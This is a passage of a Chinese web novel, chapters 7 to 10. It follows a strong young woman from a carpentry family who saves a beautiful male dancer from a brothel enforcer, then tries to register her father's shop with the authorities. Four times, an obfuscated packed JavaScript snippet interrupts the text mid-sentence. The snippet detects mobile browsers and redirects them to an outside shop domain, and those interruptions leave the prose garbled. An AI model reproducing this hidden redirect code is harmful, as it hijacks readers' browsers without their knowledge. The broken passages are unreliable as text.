钟舜华却没这些纠结。上辈子三教九流的人见多了,收服跟班更是熟门熟路。她很是豪气地拍了拍阿酒单薄的肩膀:“阿酒是吧,我要在榆林巷开家具铺子。你往后要是还找不着正经活计,就来寻我,给我当个跑堂伙计,管饭!” 阿酒鼻子一酸,赶紧低下头,闷闷“嗯”了一声。 “我叫钟舜华。”钟舜华咧嘴一笑,冲她抱了抱拳,“江湖再见!” 那笑容明亮爽朗,带着一股子令人艳羡的生命力。阿酒望着她潇洒离去的背影,头一回觉得,这无根无基的京城,也没那么冷了。 钟舜华心里美滋滋的,觉得自己方才那番做派,颇有几分话本里侠客的风范。她脚步轻快地往家走,盘算着明日如何跟老爹分享这多出的一锭“意外之财”。 快到家门时,却远远瞧见自家小院里还亮着昏黄的烛火。 一个熟悉的身影坐在院中矮凳上,背微微佝偻着,就着那微弱的光线,全神贯注地用左手一点点雕刻着燕几上的花纹。 刻刀起落极轻,沙沙的轻响融在夜色里,几乎听不清。那身影独自在空旷漆黑的院子中,显得格外孤寂。 钟舜华脸上的笑容慢慢落了下来。 她在原地站了片刻,看着老爹映在院墙上的影子,又摸了摸怀里那锭还带着体温的银子,忽然转身,拐进另一条小巷,朝着城外黑黢黢的山峦方向而去。 . 黎明前夕,瓦舍的喧嚣渐渐散去,舞台冷寂,笙歌消歇。 几条巷子之外,僻静的小道笼在未尽的夜色里。 后半夜下了点小雨,巷道湿漉漉的,蓄积的小水坑里映着微弱的光影。墙根长满了青苔,杂乱堆放着住户们不常用的家具农具,上面盖着聊胜于无的油布,隐隐散发着一股潮湿的霉味。 晨雾弥漫,四下无人,连野猫野犬都不见踪影,只有穿堂风偶尔吹过,吹得油布簌簌作响,更添了几分阴冷诡谲。 小圆被吓得缩起脖子,往前追了两步,想离前面的男人更近些。 一高一矮两道身影,提着昏黄的纸灯笼,一言不发地走着。 突然,前面的男子毫无预兆地顿住脚步,微哑的声音在寂静中突兀响起:“小圆,你冷不冷?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908834|192433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小圆刹住脚,心领神会:“明白,我这就回楼里替您把鹤氅取来。” 男子微微颔首,并未回头,只继续往前走。 待侍女的脚步声远去,他忽而停下,对着空荡荡的巷子,倦懒开口:“行了,出来罢,再跟就到地方了。” 窸窸窣窣的声响从墙根阴影里传出。片刻之后,一个穿着粗布短褂的身影搓着手,神色怪异地走了出来。 男子侧过脸,就着灯笼昏黄的光看了他一眼,似笑非笑:“李哥不在馆里当值,跟着我做什么?莫非是怕我跑了?” “跑?”龟公满脸不屑,“你往哪儿跑?卖身契还在馆主手里捏着呢。”他凑近两步,压低声音,眼中透出油腻的贪欲,“邬公子,最近手头紧,找你借点银子周转周转。” 邬峤低低笑了一声,声音带着些微微的叹息:“我是奴,哪来的私钱?你若真想要,不如……”他抬手拂过鬓边一支珍珠步摇,“将这些钗环拿去?” 珠光映着他昳丽的侧脸,龟公一时竟被那容色与笑意晃得有些失神,好半晌才反应过来,恼羞成怒地啐了一口:“呸,你蒙傻子呢?!这些首饰都在册上记着名儿,我拿来怎么用?”他盯着邬峤,眼神阴鸷,“别装了,我不信你没钱!前儿个我还看见几位衙内偷偷打赏你。” 邬峤恹恹垂下眼。 “过不了多久,邬公子就要飞上枝头,去贵人府里享福了,这点子钱还舍不得?倒不如赏给哥哥们去喝点小酒,哥哥自会替你遮掩。”龟公费尽口舌,却见邬峤一脸无趣地不为所动,仿佛在看他唱独角戏般。他登时大怒,“邬峤,你是不是不懂规矩?要是捅到馆主妈妈那里去,可就一分都留不下了!” 邬峤静静看着他,眸色在昏光中晦暗不明。许久,他轻叹一声:“好吧。钱没带在身上,随我去住所拿。” 龟公面上一喜,心里盘算这条大鱼究竟私藏了多少银钱,忙不迭跟上。谁知刚靠近邬峤身侧,那看起来纤细的舞伎陡然抬手,一道冰冷的银光自他袖中疾刺而出,直取龟公咽喉! 龟公骇然变色,虽被美色和钱财所惑,反应却不算慢,仓促间猛地一偏头,磨得极尖的银箸擦着他的脖颈划过,带出一道血线。 他吃痛怒吼,仗着力气大,一把攥住邬峤持箸的手腕,两人顿时扭打在一处。 银箸飞落,在空旷的巷中发出清脆声响,邬峤掐住了对面人的喉咙。 龟公又惊又怒。他干惯了镇场押人的力气活,从来不把舞伎放在眼里,这回也不过是像以前一样,找即将赎身的伎子要点银钱。眼前这位虽是头牌,但左不过也是个弱鸡,定然愿意花钱消灾。 可他没想到,这邬峤竟是个要钱不要命的,下手如此狠辣决绝,招招奔着要害,全然是拼命的架势。 “松、手!”他被邬峤紧紧扼住脖颈,面色涨得发紫,目眦欲裂:“听见、没有?!该死的、贱货、万人骑的东西……松、开!” “威胁我?”邬峤自己也被掐得呼吸艰难,胸腔剧痛,却仿佛听不见那些污言秽语。 他毫不在意那几乎要捏碎他喉骨的力道,一双手不依不饶地死死扣在龟公的颈动脉上,冷沉的眸子映着微弱天光,透出一种压抑后的疯狂,看得人心底发寒,“正好……小爷也不想活了。陪我一起……上路吧。” 8. 第 8 章 邬峤陡然咬牙,将最后残存的力气尽数都用在虎口之上,指节因用力而变得青白。 手下之人挣扎的动作渐歇,耳边嗡鸣着,再听不清声音。他笑了笑。 预想中的黑暗并未降临,身上毫无预兆地一轻,桎梏骤然消失。他只觉得一阵炫目的暖黄光晕落在眼前,紧接着就传来沉闷的“砰砰”击打声。 来不及分辨那拳拳到肉的声音究竟是谁在打谁,他蜷缩在地,撕心裂肺地呛咳起来。 钟舜华拽着龟公的后领,将人拎在手里,担忧地瞥了一眼地上咳得直不起腰的人,顿时怒火中烧,抡起胳膊,“啪啪”又是两个结结实实的大耳刮子扇在龟公脸上:“欺负弱小算什么本事!姑奶奶今天替天行道,打死你这个烂心烂肺的坏东西!” 骂完,她手臂一扬,熟练地将那已然口吐白沫、神志不清的龟公像丢破麻袋似的,往地上重重一掼。 “砰”一声闷响,龟公软绵绵瘫倒,小腿朝外折成一个不自然的角度,再无声息。 为民除害的钟大侠冷哼一声,拍了拍手上并不存在的灰,转头想去搀扶倒在地上的受害人:“小娘子,你别怕,那混蛋已经……呃?” 她伸出的手僵在半空。 地上那人倔强地自行撑起身子,缓缓转过头来。 纸糊的灯笼照出的一小团光晕恰好笼在他身上,凌乱的发丝下,是一张美得令人窒息的脸,唇红齿白,冰肌玉骨,比她在任何画儿上见过的仙子都要美。 钟舜华只觉得自己那盏简陋的破灯笼,放在他身边当真是格格不入。她傻乎乎愣了好半天,迟钝的脑子才终于反应过来——这美得不像话的人,竟是个男子。 她到嘴边的话硬生生打了个磕:“那、那个……小郎君?”悬在半空的手收也不是,伸也不是,“你还好吧?” 男子抬起眼皮,神色莫名地扫了她一眼,没碰她的手,自顾自站起身,用手背囫囵抹去唇角溢出的血迹,阴沉沉垂眸盯着她:“有多小?” 钟舜华这才发现,他身量极高,站起身时投下的阴影,几乎将都她整个人都笼罩其中,实在谈不上“小”。 她仰起头,歪着脑袋,目光落在他光滑细腻到不见半点瑕疵的脸上,坦诚道:“可是你看起来很年轻啊,至少比我年轻十岁。” “我今年十八。”邬峤冷冷淡淡看向她,那表情分明是在说——你有二十八? “哦,那就两岁。”钟舜华从善如流,立刻改口。她也就随口一说,这人怎么这么较真。 邬峤被噎得一时无言。他闭了闭眼,混乱的思绪总算清明了些,暼了眼不远处瘫软如泥的龟公,视线在空寂的巷子里转了一圈,却并未发现第四个人。 他难以置信地缓缓转回头:“是你杀了他?” “诶!可别乱说啊!”钟舜华忙不迭否认,“我下手有分寸,留了一口气的。” 她可不傻,知道如今不比乱世,杀人是要偿命的。 “你……”邬峤盯着这个只及他肩头高的姑娘,喉咙有些发涩,“怎么做到的?” “拎起来打就是了呀,还要怎么做?”钟舜华早已习惯了旁人讶异的目光。她蹲下身,将方才打斗时散落一地的湿木料归拢起来,用麻绳重新捆扎结实,动作轻松得像在摆弄柴火棍儿,“我天生力气就大。” 眼睁睁看着她毫不费力地将那捆比她身体还大上数倍的木头桩子搬起来,邬峤不得不承认,自己还是见识太少了。 他迟疑半晌,问出的问题连自己都觉得荒唐:“你……是个樵夫?” 钟舜华拍掉手上的木屑,站起身,自豪又友好地朝他一笑,露出雪白的牙齿:“我不是砍柴的,我是榆林巷子钟氏家具铺的少东家,钟舜华。” 邬峤轻轻眨眼,目光略过她一身灰扑扑的短打,对这怪力女郎所谓的少东家身份深表怀疑。 “邬峤。”他礼尚往来道,“玉真馆的。” 玉真馆?那是什么地方?酒楼?茶肆? 钟舜华有些摸不着头脑。不过,爹说出门在外不能露怯,否则会被人敲竹杠。她牢记于心,于是故作老练地点点头:“哦,我知道,我去过。” 邬峤偏头,眼中带上几分玩味:“你去过?” 钟舜华心虚地避开他直勾勾的目光,找了个模棱连可的词:“上回……我爹带我去……见识过一次。” “你爹带你去的?”邬峤几乎要笑出声来,慢悠悠重复了一遍。 钟舜华心里一慌,梗着脖子喊:“对啊!” 邬峤笑眯眯看着她,也不说话。 “哎呀,不说这个了。”钟舜华被看得尴尬起来,生怕露馅,赶紧岔开话题,伸脚踢了踢昏死过去的龟公,“邬峤,你认识他吗?” “他也是玉真馆的。” “哦,那还是熟人呢。这家伙总这么欺负你?” 邬峤的视线落在她脸上,轻“嗯”一声,垂下眼,浓密的长睫微微颤动,在眼下投下一小片阴影,显得有些可怜:“他们总欺负我。” “他们?有很多人欺负你?为什么?”钟舜华皱起眉,很是不解,“你明明生得这么讨人喜欢。” 她说出的话直白坦然,带着一种未经雕琢的理所当然,邬峤竟头一回在被人夸赞容貌时,没觉得厌烦,而是感到一丝细微又陌生的不自在。他侧过脸,轻咳一声,含糊道:“大抵,都是为了钱罢。” “哦,明白。”钟舜华点点头,想起自己从前在山上,也总遇到不开眼的盗匪想要黑吃黑。人一旦被钱迷了眼,就是会干出许多蠢事。不过,那些蠢货最后一个个都被她揍得服服帖帖,痛哭流涕,发誓再也不犯。 她的目光在邬峤那精致华丽的衣袍上转了一圈,明白他是个养尊处优的,对他这般无力还手的处境颇为同情:“你做的对,不该给的钱,给了只会让他们越来越过分。我虽然没什么银钱,但却有的是力气。以后他们再敢欺负你,你就来告诉我。” “告诉你?”邬峤饶有兴致地弯下身,平视她的眼睛,“然后呢?你提刀来把玉真馆拆了?” “当然是趁他不注意,敲了闷棍,套进麻袋里打啊!”钟舜华瞥他一眼,恨铁不成钢,“你这人怎么这么笨?难怪被人欺负!” 被迎头痛骂的邬峤直起身,深吸一口气,微笑:“是,你聪明。你是这世上最超凡脱俗、独一无二的奇葩。” 钟舜华听不大懂“奇葩”是什么,但估摸着是夸人的话,顿时有些飘飘然。她原形毕露,土匪头子似的乐呵呵伸手拍了拍他肩膀:“这么上道?那以后姐姐罩着你,别怕!” 她下手没轻没重,邬峤被她拍得身子一歪,踉跄半步才站稳,顿时气笑了:“你——” “哎,”罪魁祸首赶忙伸手扶了他一把,一脸无辜地倒打一耙,“你怎么连站都站不稳?身子骨也太弱了。” 邬峤:“……” “……公子?” 一道颤巍巍的声音,打断了鸡同鸭讲的二人。 钟舜华顺着声音望去,只见一个身穿鹅黄衫子,头上梳着双环髻的圆脸小姑娘,正抱着一件雪白的鹤氅,站在几步开外,睁圆了眼睛,看着满地狼籍。 小姑娘的视线在半死不活的龟公身上停留片刻,皱了皱眉,又移到邬峤略显狼狈的衣衫上,抖了抖肩,最后落到钟舜华身上,瑟瑟发抖地发问:“这是……?” 钟舜华一见到这小姑娘就觉得喜欢,白白净净,脸蛋圆乎乎的,像铺子里刚出笼的肉包子。 她挠挠额角,忍住想跑过去捏捏那脸蛋的冒昧冲动,扬声安抚:“没事,有个混蛋想欺负你家公子,被我打趴下了!” “真的吗?”小圆惊讶,嫌恶地瞪了两眼地上的龟公,小跑几步绕到钟舜华面前,扬起小脸,满眼崇拜地望向她,“漂亮娘子,你好生厉害!” 她眼里闪着星星点点的光彩,语气极为真诚。钟舜华终是没能抵抗住心里的蠢蠢欲动,上手轻轻捏了捏小姑娘的脸颊。 软软的。 “你好可爱。”她乐呵呵地低头,“说话也好听。” 小圆脾气好得出奇,非但没躲,还乖乖把脸往她手心里送。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908835|192433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟舜华见状,更是心花怒放,捏得不亦乐乎。心里正满足得冒泡,身后突然传来一道不咸不淡的声音,拖着些许慵懒尾调: “小圆。” 被点到名的小圆一个激灵,转过头,对上了臭着一张脸的自家公子。 “啊,来了!” 她连忙小跑过去,动作熟练地踮起脚尖,将那件雪白蓬松的鹤氅披在邬峤肩上,仔仔细细将外边微乱的皮毛理顺,又从随身的挎包里掏出个精致小巧的暖水釜,拔掉塞子,怂怂递到邬峤手边:“公子,小圆来迟了,险些教您受欺负,您大人有大量,莫跟小婢女计较。喝口热饮,暖暖身子罢?” 邬峤从鼻子里哼出一声,并不领情:“要你有什么用?” 小圆十分有眼色,立刻收回暖水釜,转而掏出个暖烘烘的汤婆子,塞进他手里,又狗腿地开始替他轻轻捏胳膊:“奴婢用处可大着呢,啥活儿都能干。” 钟舜华背着手立在一旁,看得啧啧称奇。原来,这大户人家的少爷,就是过的这种衣来伸手、饭来张口、还有人捏肩捶腿的舒坦日子? 邬峤察觉到她毫不掩饰的目光,眉梢微挑:“看什么?” “看你啊。”钟舜华答得理所当然。 “看我做什么?” “好看就看呗。” “你见着谁好看,就这样盯着看?” “他们都没你好看!” 邬峤闻言,微微一愣,唇角勾起一抹浅淡的、意味不明的弧度。他缓步走到钟舜华身前,弯下腰。 两人之间的距离急剧缩短。钟舜华甚至能感觉到一阵带着玫槐花香的暖意,从他微敞的领口间散逸出来,似有若无,落在她腮边。 奇怪的是,向来身体反应快过脑子的她,此刻却停在原处,并没有生出任何下意识动手的冲动。 或许……是因为没感受到丝毫恶意吧?她有些懵懂地想。 “这样……是不是看得更清楚些?”邬峤的声音在极近的地方响起,压得有些低,像羽毛轻轻挠过耳廓。 钟舜华愣愣地点了点头。鬼使神差地,她伸出手指,轻轻碰了一下他近在咫尺的脸,然后很快反应过来,缩回手,老实巴交道:“你眼睛下面,有一颗很小的痣。” 一旁来不及阻止的小圆倒吸一口凉气,头皮都绷紧了。 出乎意料地,一向最不喜被触碰的公子并未发作,只是几不可察地顿了一下,随即极轻地“嗯”了一声。 小圆甚至看到他从鹤氅中伸出手,将修长白皙的指尖落在那位单纯的小娘子脸上。 邬峤在她眼下同样的位置,用指腹轻轻抹了一下。拭去那也许存在的痕迹后,指腹并未立刻离开,反而停留在原处,轻轻蹭了蹭。 “沾上灰了。”他看着她。 “哦。”钟舜华眨眨眼,干巴巴地应了一声,“谢谢。” “谢谢?”邬峤突然笑了。这一笑,如春山融雪,似金玉生辉,原本如雕刻出来一般的、精致又生人勿近的眉眼,在一瞬间鲜活生动起来。 “该我谢姐姐才是。” 他好似心情忽然变得极好,慢条斯理地抬起手,从自己左耳垂上,取下一枚殷红如血的宝石耳坠。然后,拉过钟舜华那只方才碰过他脸的手,将沾染了花香的耳坠,轻轻放入她掌心。“救命之恩,无以为报。” 他微微俯身,凑得更近了些,嗓音里带着些哑: “姐姐,再会。” 说完,拢了拢鹤氅,不再停留,带着发愣小圆径直离开。 勾人魂魄的大美人随口留下一句话,翩然而去,唯余钟舜华愣愣杵在原地,晕乎乎的脑子里只剩下一个念头——他好香。 等她回过神时,眼前哪还有什么美人,只剩下散倒在地的湿木料,和一个不知死活的臭混球。 她摊开手掌,捏起耳坠尾部细细的银针,对着微弱的晨光细细看去。 红宝石轻轻晃动,反射出的光泽像一个漩涡,带着致命的吸引力,就这样轻而易举地在她脑海中勾出第二个念头——得到他。 9. 第 9 章 转过巷角,走出一段距离。小圆挎着小包,忍不住摇头晃脑,笑嘻嘻道:“公子,方才救你的那位,长得可真好看呢!个头又高,身板又直,眉眼又精神,好久没见着这样让人眼前一亮的小娘子了!” 邬峤微微勾唇,轻嗤一声:“一个黄毛丫头,灰头土脸的,有什么好看?” “公子,您就是眼光太高啦!那位娘子只是瞧着缺点油水,又没打扮,其实底子好着呢。”小圆掰着手指头,煞有介事地畅想,“若是先好汤好水地养上两个月,然后花些心思裁几身鲜亮衣裳,再让咱们馆里手巧的脂粉丫头给她精心妆扮一番,只怕与寒月姐姐都不相上下!真的,公子,你信我,我从来没看走眼过!” 邬峤脸上的那点浅淡笑意,终是落了下来。方才因意外邂逅而罕见生出的几分鲜活愉悦,转瞬间消逝殆尽,眸底又归于一片沉寂。他拢了拢鹤氅,柔软蓬松的毛领遮住了他大半张脸,只露出一双没什么情绪的眼睛,“你把她当什么了?” 小圆脸上的笑僵住了:“公子,我……” 他喜怒难辨的语气浸在冷雾里,听不出是嘲讽,还是别的什么:“好看,是什么好事吗?” 小圆张了张嘴,嗫嚅半晌,却一个字也没能说出来,方才的活泼劲儿也在一瞬间蔫了下去。 是啊,好看,在别处或许是福气,可在玉真馆这种地方……真算不得什么好事。不好看如她,虽然终日有干不完的杂活,吃穿用度也仅是寻常,但至少,还有个攒钱自赎的模糊盼头;而好看如公子,如寒月姐姐,却只能比旁人跳更多的舞,唱更多的曲,陪更多的客,最后……被卖上更高的价钱。 她不敢去看公子此刻的神情,默默低下头,盯着自己的鞋尖,亦步亦趋地跟在那片艳丽的袍角后,一起一伏,慢慢走进深巷更浓的阴影里。 . 晨光熹微,钟舜华背着那捆沉重的湿木料,趁着周围邻居还未出门营生,悄无声息地绕到自家后院围墙外的僻静处。 她将木料仔细藏在墙根下茂密的野草丛中,蒙上油布,又扯过几根枯藤虚虚掩了掩。确定不细瞧看不出来,这才后退几步,深吸一口气,助跑、蹬墙、扒住墙头、利落翻身,轻巧又稳当地落在院内。 几乎同一时刻,正屋的门“吱呀”一声轻响。 钟舜华心头一跳,迅速矮身躲到院角的柴垛后,半探出头查看。 只见钟成栋揉着脖颈,拖着疲惫的步子走进屋里。 他熬了整整一宿,走起来腿脚都有些发虚。用力撑着发酸发胀的眼睛,回头看了眼院中那半成品的雕花燕几,低低叹了一声,还是不得不先关门歇息。 那叹息声明明很轻,却沉甸甸地压在了钟舜华心上。 她抿紧唇,从柴垛后走出,静静看了会儿,在那张燕几前坐了下来。 鸟声清脆。 只过去了一个多时辰,钟成栋到底心里记挂着活计,睡不清静,还是浅眠醒来。 他推开房门,天光已然大亮,刚走了一步,却愣住了。 这个时辰,本该还在房中好眠的女儿,此刻却伏在院中的燕几上,呼吸均匀地沉睡着。 而那燕几上,原本还差一面未曾雕琢的缠枝莲纹,竟已经完完整整地呈现出来。线条流畅,深浅得当,花瓣层叠错落,叶片舒展灵动,虽风格与他向来惯用的古朴厚重略有些不同,但也显得更加利落有致,而且用心细腻,丝毫不逊于他昨晚的成果。 钟成栋意识到她做了什么,眼眶蓦地一热。 他走上前,粗糙生茧的大手轻缓地落在女儿毛茸茸的发顶,笨拙又充满疼惜地揉了揉。 头顶的触感让钟舜华立刻惊醒。她猛地抬头,在看清钟成栋的一瞬间,眼神从锐利转为柔和,紧绷的肩膀松懈下来。 “憨妮子。”钟成栋轻声斥她,“爹又不是干不完,要你掺和什么?” “得了吧,可别把你那把老骨头折腾散架了。”钟舜华打了个大大的哈欠,眼角渗出生理性的泪花,带着浓浓的睡意,咕哝道:“都雕完了,你赶紧来瞧瞧行不行?要是不行,你就再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908836|192433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修修,要是行,就给陈家送过去。可别自己硬搬啊,我雇了巳时的牛车上门来取的,让车夫帮你搬……好困,我要回屋再眯会儿……” 说完,她揉着眼睛,摇摇晃晃地站起身,钻进了自己屋里去,只留下钟成栋一个人站在晨光里,对着那不必再改一刀的燕几,久久无言。 日头偏西,钟舜华终于补足了觉,神清气爽地走出房门。 院子里,钟成栋正在修理断了腿的板凳,见她出来,脸上露出笑容:“醒了?锅里给你留着饭,有你爱吃的烀肘子,还热乎着。” 按理说,钟舜华只是早起了一两个时辰,不至于要补那么久的觉。不过钟老二夫妻俩向来疼女儿,只要她身体没事,就是睡一天又如何? “嗯!我一会儿就去吃。”一向天大地天吃饭最大的钟舜华响亮地应了一声,却没急着去厨房,而是在钟成栋疑惑的目光中,出了院门。 她走到院外墙根下,扒开枯藤野草,将今早藏好的那捆沉重的湿木料弄出来,拖进了院子中央。 木料落地,发出沉闷的声响,带起一片扬尘。 油布被揭开,钟成栋看清那木料的纹理色泽,瞳孔骤然一缩,手里一松,板凳落到地上:“这、这是金丝楠?!” “嗯呢。”钟舜华点点头。 钟成栋快步上前,蹲下身,手指颤抖着抚过木料截面。半晌,他反应过来,拉住钟舜华的袖子,语气焦急又严肃:“华儿,这是从何处来弄来的,赶紧给人还回去!” 钟舜华一屁股坐上名贵的金丝楠,晃晃腿,吊儿郎当道:“我捡的。” “哎哟你这憨妮子,快下来!”钟成栋赶忙把钟舜华拉下来,心疼地吹了吹那木料上的灰尘,生怕伤了纹理。 金丝楠的木纹在阳光下泛着丝丝缕缕的金色光泽,新鲜的木质细腻紧实,还带着独有的幽香。这可不是什么寻常木料,怎么可能随意捡到! “华儿!”钟成栋按住钟舜华的肩头,面色肃然,“你跟爹说实话,这木头,到底是打哪儿来的?” 10. 第 10 章 钟舜华眨眨眼,一脸无辜:“真是捡的呀,爹。就在乱葬岗那边儿的山坡下,估计是哪家大户运木料的车翻了,掉了几根,我看着挺好,就拖回来了。”她一幅捡到宝的模样,雀跃地凑到钟成栋身边嘀咕,“爹,你看,这料子多好!扔在那儿不是浪费嘛!” 钟成栋眉头紧锁:“你怎么会去乱葬岗?何时去的?” 乱葬岗附近山路崎岖,的确年年都有车马在那儿出事,甚至还传出了阴气重、鬼索命的瞎话……可这金丝楠何等贵重?就算翻了车,主家难道不知道派人寻回?就算一时遗漏,又怎么会恰好被女儿“捡”到? 钟舜华为难地撇撇嘴,往他肩头一趴,放低声音,别别扭扭地说:“爹,其实……我昨天给马大婶送完凳子后,就跟大林溜出去玩了一圈,嘿嘿……” 钟成栋眼一瞪:“你不是跟我保证了不乱跑?” 钟舜华拍着他的背顺毛:“哎呀,就是绕着城边捉蚂蚱,碰巧走到了乱葬岗嘛。到的时候天都快黑了,昏沉沉的,周围一个人影都没有。我一眼就看到这木料,估摸着没准儿是那家赶着办什么见不得光的事,翻了车也不敢声张,自认倒霉跑了,所以赶紧跟大林一块儿抹黑把东西运回来,藏到了我们院子外面的草丛里……” “你……你啊!到处乱跑!还把大林也给带坏了!”钟成栋伸出食指戳戳她的额头。他抚着金丝楠,面色松了不少,虽怪她不安分,心里却实实在在地放松不少。 朱门深似海,富贵人家有些什么见不得人的隐秘勾当,也不稀奇。 钟舜华见他信了,眼睛亮晶晶的,摆出一副“我们赚大了”的模样蹲在他面前嘿嘿傻笑。 钟成栋瞧瞧她,再瞧瞧这捆上好的木料,那些疑虑到底是被惊喜和占了大便宜的侥幸冲淡。他摇摇头,笑骂一句:“你这丫头,胆子太大了!也不怕是贼赃!” “是贼赃才好呢,那样原主就更不敢找了,白白便宜了我们!”钟舜华笑嘻嘻地接话,趁热打铁,顺势说出自己的打算,“爹,我想好了,这料子这么好,咱们别浪费了。我们爷俩一起,打一套桌椅——一张八仙桌,四把圈椅!就用这个,做咱们铺子重新开张的镇店之宝!你说怎么样?” 镇店之宝?用金丝楠木打一整套桌椅? 钟成栋的心猛地一跳,连呼吸都急促了几分。当了几十年的木匠,他还从来没用金丝楠木打过这么大的物件! 粗糙的手掌抚过湿润的木料,透过上面的纹理,足以想象桌椅成型后,那光泽将是怎样的奢华温润。 钟成栋仿佛看到了它们摆在焕然一新的铺子正中,夺人眼球的景象,多能彰显出他们钟氏家具铺传承几十年的手艺和底气! 被女儿一句话勾起的念头像一把火,将钟成栋心中残存的不安烧得干干净净,只剩下澎湃的激动憧憬。 “好……好!”他重重点头,眼眶又有些发热,难以抑制地拍着女儿的肩膀,“就用它做镇店之宝!华儿,你说得对,爹跟你一起,咱们打出一套城西最气派、最扎实的金丝楠木桌椅来!” “不!”钟舜华将脑袋一扭,下巴朝天,“我要打出全京城最气派的金丝楠木桌椅来!” 钟成栋一愣,继而哈哈大笑:“好!我儿有志气!” 父女俩相视而笑,目光齐齐落在那捆浸润了晨露的珍贵木料上。在某一刻,他们似乎一同看到了钟氏家具铺重新擦净招牌、宾客盈门的那一天。 . 一场秋雨一场寒。清晨,榆林街上的铺子还只稀稀拉拉开了几家,钟氏家具铺依旧大门紧闭,唯有后院响起些微动静。 院门“吱呀”一声被推开。 钟成栋今日换了身半新不旧的深青直裰,头发还抹了头油,梳得整整齐齐。 他摸了摸怀里鼓囊囊的布包,确认里边的房契、地契和历年的上税凭据,还有那枚钟老太爷传下来的“榆林钟氏木作”黄杨木印章都没问题,这才深吸一口气,回头看向女儿:“华儿,走吧。” 钟舜华点了点头,挎着个小包袱,跟在他身后。她头一回穿上娘亲做的裙衫,对襟褙子配三裥裙,是京中时兴的样子。虽还有些不习惯,但款式简洁周正,细棉布的料子很舒适。 户部辖下的市易司,专门管理城内经商开铺的各项事宜,衙门设在东城。 父女俩从自家小驴车上下来时,时辰还早,灰墙黑瓦的市易司门庭冷肃,只开了角门。走进办事堂,里头弥散着陈年墨卷与旧木头家具混合的气味。 长案后坐着个留着短须的瘦削书吏,眼皮半耷拉着。听完钟成栋的来意,他将手中那些契纸翻来覆去验看许久,视线在“钟成栋”与“钟舜华”两个名字间来回转了转。 “钟掌柜,”书吏慢悠悠开口,腔调拖得老长,“这铺子,是你父亲传下的祖产吧?” “是,正是先父所传。”钟成栋忙应道。 “嗯。”书吏从眼皮底下瞟了一眼站在一旁的钟舜华,“家中可还有别的男丁?本官翻户籍册时瞧见……你似乎还有兄长和侄儿?” 钟成栋心里咯噔一下,面上仍维持着笑:“回大人,我与兄长已分家多年,并未住在一处。” “哦——”书吏拉长了调子,指节敲了敲契纸,“可分家又不是分宗,你们终究都是钟氏后人。如今你明明还在世,却要将铺主变更为一个女儿家……” 钟成栋有些急了,抬起空荡荡的袖子:“大人,您也瞧见了,我这模样……” “住口!问你了吗?”书吏呵斥一声,“本官还没说完,插什么话?” 钟成栋被吓得一抖,诺诺低下头。 钟舜华看了眼书吏,扶着钟成栋残缺的胳膊,没作声。 书吏耍了一通威风,舒心抿了口茶,摇头晃脑地继续道:“这事儿,本官办不了。按规矩,你们得先让请木作行的行首出具一份担保书来,证明受让人的确有能力承继祖业,没有利益勾连,才可办理。”他撩起眼皮,目光在钟舜华身上一扫,虽未明说,那轻蔑的意思却很明白。 “行首担保书?”钟成栋愣住,这事他先前从未听说过。 “本官也是按规矩办事。”书吏往椅背上一靠,摆出送客的姿态,“拿到了担保文书,再来不迟。” 话说这地步,也不得不走人了。 钟舜华走到案前,取回自家的布包,朝书吏笑了笑。 书吏不耐烦地挥挥手。 父女俩被不软不硬地挡了出来,站在市易司门外的石阶上,秋风吹得脸皮发涩。 钟成栋愁得眉头都拧成了疙瘩,半晌,重重叹了一口气:“罢了,既然是规矩,咱们就去求一求周行首。他老人家虽然严厉,但一向看重手艺,若见了你的本事,未必不肯成全。” “行。”钟舜华牵来驴车,招呼钟成栋坐上去。 正要走时,忽听得院内传来惊呼:“不好了!办事堂的长案塌了!快来人!何大人被砸到腿了!” 钟舜华弯弯唇,一扬鞭,驾着驴车走了。 . 京城木作行会的会馆也坐落在繁华的东城,是一座三进的大院,门脸比一般的勋贵人家还气派些,黑底金字的匾额上刻着书法大家亲题的“巧夺天工”四个大字。 开了几十年家具铺的钟成栋也算是是行会里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908837|192433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 